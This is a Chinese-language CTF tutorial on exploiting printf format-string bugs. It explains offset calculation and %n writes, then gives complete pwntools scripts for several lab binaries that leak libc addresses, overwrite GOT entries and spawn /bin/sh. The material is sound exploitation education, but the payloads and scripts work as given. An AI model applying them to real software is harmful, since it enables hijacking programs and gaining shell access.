前置知识:
一些小技巧和知识:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| 这部分来自icemakr的博客
32位
读
'%{}$x'.format(index) // 读4个字节 '%{}$p'.format(index) // 同上面 '${}$s'.format(index) 写
'%{}$n'.format(index) // 解引用,写入四个字节 '%{}$hn'.format(index) // 解引用,写入两个字节 '%{}$hhn'.format(index) // 解引用,写入一个字节 '%{}$lln'.format(index) // 解引用,写入八个字节
//////////////////////////// 64位
读
'%{}$x'.format(index, num) // 读4个字节 '%{}$lx'.format(index, num) // 读8个字节 '%{}$p'.format(index) // 读8个字节 '${}$s'.format(index) 写
'%{}$n'.format(index) // 解引用,写入四个字节 '%{}$hn'.format(index) // 解引用,写入两个字节 '%{}$hhn'.format(index) // 解引用,写入一个字节 '%{}$lln'.format(index) // 解引用,写入八个字节
%1$lx: RSI %2$lx: RDX %3$lx: RCX %4$lx: R8 %5$lx: R9 %6$lx: 栈上的第一个QWORD
|
这里$n和$hhn等是针对%offset$n前面(32位)或者后面(64位)的地址而言的,是地址的4个字节写入还是地址的1个字节1个字节地写入的问题。
一、偏移量的计算
32位计算偏移量:
找漏洞函数printf家族,在printf(s)中下断点,然后输入AAAA,在gdb中计算偏移量:
offset = p/d (0xbbbb-0xaaaa)/4(或者直接看最左边的16进制值即可)
64位计算偏移量:
%1$lx: RSI
%2$lx: RDX
%3$lx: RCX
%4$lx: R8
%5$lx: R9
%6$lx: 栈上的第一个QWORD
offset = 地址在栈中相对于栈顶的偏移(看最左边的16进制数) + 6
二、利用技巧
1、任意地址读:
%offset$p:读取地址
%offset$s:读取地址上的内容
泄露真实地址:
1 2
| p.sendline("%31$p") main_addr = int(p.recvline(),16)-247
|
1 2 3 4 5 6 7 8 9 10
|
2、泄露已有的函数的got真实地址(加个标志位aa) puts_got = elf.got['puts'] p.recv() payload =p32(puts_got)+'aa%6$s' p.sendline(payload) p.recvuntil('aa') info = u32(p.recv(4)) print hex(info)
|
2、任意地址写:
%A$n,是把栈地址的内容进行修改,如果内容也是地址,就改这个第二重地址里面的内容(写入的是地址指针里面的内容)
例如往偏移为7的地址中写入218这个数(地址算4个字节):
payload = p32(地址) + ‘%(218-4)c%7$n(往地址的指针的位置写入)
通过任意地址写还可以改写got表:
payload = fmtstr_payload(offset ,{xxx_got:system_addr})(记住这条神奇函数)
这里建议手撕,因为有0截断就完蛋了,但是0截断也不怕,可以写在后面哈哈哈
32位单字节手撕:
1
| >>> fmtstr_payload(6, {0x08048000:0x10203040})
|
1 2 3 4 5 6 7 8
| \x00\x80\x04\x08 \x01\x80\x04\x08 \x02\x80\x04\x08 \x03\x80\x04\x08 %48c%6$hhn %240c%7$hhn %240c%8$hhn %240c%9$hhn
|
例如对0x08048000写入16+48 = 64 = 0x40
对0x08048000写入0x40+240 = 304 = (uint8)0x130 = 0x30
(uint8,无符号整形,范围0到256,超了就取16进制的末尾两位的原理)
也就是说大于256个字节的都要一个一个字节地写入,否则直接4个字节写入~
以上是32位的情况,那么64位的呢?
64位的特别之处在于一开始有\x00截断,所以只能手撕,所以地址写在最后面,那么偏移就变了,于是需要计算出真正的偏移,例如:
1
| paylaod1="a"*4+"%"+str(int(hex_one_gadget[-4:],16)-4)+"c"+"%8$hn"+p64(exit_got)
|
首先4个a是用来对齐的,看看怎么算出来的首先%1字节,str占用5个字节(10进制,自己可以算),c占1,%x$hn占用5个,一共12个了,由于64位栈中一次能存8个字节,那么要铺满2个栈位置,16个字节,就差4个字节,铺满6和7的位置后,8的位置就是exit的got表地址了,这就是偏移为8的原因,由于每次写入的是双字节,所以需要写3次地址才能实现got表覆盖单字节和四字节写入道理一样,自己探索下。
给个图看看上面所说的东西:
下面看看LAB7、8、9的题目加深理解:
练习题:LAB7:
按照惯例分析一波,checksec,拖进ida分析:
偏移为10,直接改password的值为5,再输入5,直接上payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| from pwn import * context.log_level = 'debug' context.terminal = ['gnome-terminal','-x','bash','-c'] context(arch='i386', os='linux') local = 1 elf = ELF('./crack') if local: p = process('./crack') libc = elf.libc else: p = remote('hackme.inndy.tw', 7711)
bss = 0x0804A048 printf_got = 0x804A010 system_plt = 0x8048400 puts_got = elf.got['puts'] read_got = elf.got['read']
payload = '' payload += p32(bss) payload += p32(bss+1) payload += p32(bss+2) payload += p32(bss+3) payload += '%245c%10$hhn' payload += '%251c%11$hhn' payload += '%256c%12$hhn' payload += '%256c%13$hhn'
p.recvuntil("What your name ? ") p.sendline(payload) p.recv() p.send('5') p.interactive() 也可以泄露password的值再填泄露值
|
即可构造payload:
因为我们泄露的随机数可能 大于4位,而我们泄露的只到4位,所以有时成功不了但是方法一是绝对可以的,这题试过修改got表调用system函数,但是发现行不通哎就目前这两种解法。
练习题LAB8:
还是按照套路和逻辑来,栈溢出保护,格式化字符串漏洞~
接下来分析逻辑:
很清晰的逻辑,要么修改magic的值,要么直接调用system函数。
在printf那里下断点,计算出偏移量为7,直接上payload:
调用自身的system的catflag函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| from pwn import * context.log_level = "debug" sh = process('./craxme') elf = ELF('./craxme') magic = 0x0804A038 puts_got = 0x0804A018 catflag = 0x080485D8 system_plt = elf.symbols["system"] printf_got = elf.got['printf'] call_printf = 0x8048596 payload = '' payload += fmtstr_payload(7,{puts_got:catflag}) sh.recvuntil("Give me magic :") sh.sendline(payload) sh.recv() sh.interactive()
|
getshell的做法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| from pwn import * context.log_level = "debug" sh = process('./craxme') elf = ELF('./craxme') magic = 0x0804A038 puts_got = 0x0804A018 catflag = 0x080485D8 system_plt = elf.symbols["system"] printf_got = elf.got['printf'] call_printf = 0x8048596 payload = '' payload += fmtstr_payload(7,{puts_got:call_printf,printf_got:system_plt}) sh.recvuntil("Give me magic :") sh.sendline(payload) sh.recv() sh.interactive()
|
这里尝试了直接调用发现行不通,那就间接调用system函数,绕个圈子去调用,记住一次性不行就两次性~
总结出修改got表就像把ret改成自己想要跳转到的函数一样样的~
也就是说任意地址读可以泄露出想要的数据,任意地址写可以改变程序的执行流程,原理也懂就行了~
练习题LAB9:
逻辑一样,checksec,再拖进去ida分析:
发现是在bss段,哦豁完蛋,又是新姿势,跟着大佬的writeup,看了几篇,明白了利用机制,原来一开始我们直接在格式化字符串偏移的位置写我们的got地址,然后%A$n写入要替换的地址,很方便,但是现在在bss中,直接写写不动,那么可以通过间接写写入,最根本的思路:首先我们需要2个指针地址,能够实现写入地址,在这两个地址上先写printf的got表地址的前后两个字节,泄露got真实地址,然后再改写为system真实地址的前后两个字节,就实现了间接改写got表,这样通过栈上指向栈另一处的指针,比如保存的ebp。通过%n和保存的ebp,我们就能想保存的ebp所指向的地址(栈上的另一处,前ebp)处写任意值,这样我们在栈上就有了一个任意构造的指针,通过这个任意指针我们就可以任意地址读和任意地址写。
来进行构造:
这里有用的就是这四条,分别是设置为ebp1、fmt7、ebp2、fmt11,而他们相对于格式化字符串的偏移分别是6、7、10、11(直接数),思路如下:
1.通过ebp_1使ebp_2指向fmt_7
2.通过ebp_2将fmt_7处的内容覆盖成printf_got
3.通过ebp_1使ebp_2指向fmt_11
4.通过ebp_2将fmt_11处的内容修改成printf_got+2
5.通过fmt_7将printf_got地址泄露出来
6.计算出system函数的地址 ,将system函数地址写入printf在got表的地址
具体做法是将 system函数地址的前两个字节写入fmt_7,后两个字节写入 fmt_11
7.执行printf函数相当于执行system函数
8.输入”/bin/sh”字符串,让system函数从栈中取参数getshell
这里画个图帮助理解:
我们一步一步地分析思路,首先%数字$n,是把栈地址的内容进行修改(写入数据),如果内容是地址,就改这个内容地址里面的东西,所以第一步,因为ebp1存的是ebp2的地址,所以要改的是ebp2地址里面的内容,发现是某一个地址,把它改成fmt7地址,所以ebp2地址里面的内容变成了fmt7的地址,第二步,覆盖printf_got,ebp2的内容是fmt7地址,所以要修改的是fmt7地址里面的内容,所以fmt7地址里面的内容变成了printf_got,第三步和第四步类似,这样就实现了泄露printf_got表真实地址,然后借此计算出system函数的真实地址,再分别写入2个地址,就相当于执行system函数,输入/bin/sh即可。具体payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
| from pwn import * context.log_level = "debug" sh = process('./playfmt') elf = ELF('./playfmt') libc = elf.libc printf_got = elf.got["printf"] system_libc = libc.symbols["system"] printf_libc = libc.symbols['printf'] sh.recv() log.info("******leak printf_got******")
payload = '%6$x' sh.sendline(payload) ebp2 = int(sh.recv(),16) ebp1 = ebp2 - 0x10 fmt7 = ebp2 - 0x0c fmt11 = ebp2 + 0x04 log.info("printf_got-->p[%s]"%hex(printf_got)) log.info("ebp_1-->p[%s]"%hex(ebp1)) log.info("ebp_2-->p[%s]"%hex(ebp2)) log.info("fmt_7-->p[%s]"%hex(fmt7)) log.info("fmt_11-->p[%s]"%hex(fmt11))
payload = "%" + str(fmt7 & 0x0000ffff) + 'c%6$hn'
sh.sendline(payload) sh.recv()
payload = "%" + str(printf_got & 0x0000ffff) + 'c%10$hn' sh.sendline(payload) sh.recv() while True: sh.send("King") sleep(0.1) data = sh.recv() if data.find("King") != -1: break
payload = "%" + str(fmt11 & 0x0000ffff) + 'c%6$hn' sh.sendline(payload) sh.recv()
payload = "%" + str((printf_got+2) & 0x0000ffff) + 'c%10$hn' sh.sendline(payload) sh.recv() while True: sh.send("King") sleep(0.1) data = sh.recv() if data.find("King") != -1: break
log.info("******leaking the print_got_add*********") payload = 'aaaa%7$s' sh.sendline(payload) sh.recvuntil('aaaa') printf_addr = u32(sh.recv(4)) log.info("print_got_add is:[%s]"%hex(printf_addr)) system_addr = printf_addr - printf_libc + system_libc log.info("system_add is:[%s]"%hex(system_addr))
payload = "%" + str(system_addr & 0x0000ffff) + 'c%7$hn'
payload += "%" + str((system_addr>>16) - (system_addr & 0x0000ffff)) + 'c%11$hn' sh.sendline(payload) sh.recv() while True: sh.send("King") sleep(0.1) data = sh.recv() if data.find("King") != -1: break
sh.sendline("/bin/sh") sh.interactive()
|
这里积累下:
1、地址 & 0xffff是为了获取低位两个字节
2、地址>>16 &0xffff 是为了获取高位两个字节
这里是因为%A$n是按照累加去计数的,所以要减去之前的,才是正确的计算。还有那个while True循环,是为了确认字符全部写入,因为一次只能接受0x1000个字符,所以相当于设置了一个标志位,确保能输入完成,最后检验一波~
这里最关键的是通过动态调试一步一步地去看内容,单纯地看代码看不出来的,下断点,疯狂调试,很好玩~
这里再来看看一道题,直接破坏canary触发stack_check_fail函数,我们在此将system函数的地址改写到stack_check_fail的plt表即可,也是一种利用思路,对于只有一次输入的情况适用。
后门函数就是hello,这里直接搞一波,即可:
1 2 3 4 5 6 7 8 9 10 11 12 13
| from pwn import * context.log_level='debug' elf = ELF('./babyfmt') p = process('./babyfmt') libc = elf.libc system_addr = 0x0400626 stack_fail = elf.got['__stack_chk_fail'] payload = '' payload += 'a'*5 + '%' + str(system_addr & 0xffff - 5) + 'c%8$hn' + p64(stack_fail) + 'a'*100
p.sendline(payload) p.interactive()
|
关于32位程序单字节写入的思考:
1 2 3 4 5 6 7 8 9 10 11 12
| s1 = system&0xff s2 = (0x100|(system>>8)&0xff)-s1 s3 = (0x200|(system>>16)&0xff)-(0x100|(system>>8)&0xff) py = '' py += "%" + str(s1) + "c" + "%18$hhn" py += "%" + str(s2) + "c" + "%19$hhn" py += "%" + str(s3) + "c" + "%20$hhn" py = py.ljust(0x30,'a') py += p32(printf_got) py += p32(printf_got+1) py += p32(printf_got+2) sl(py)
|
其实就是通过溢出取一个字节,实现越来越多的字节写入罢了,因为前面可能有些大,后面有些小,所以通过溢出可以解决这个问题~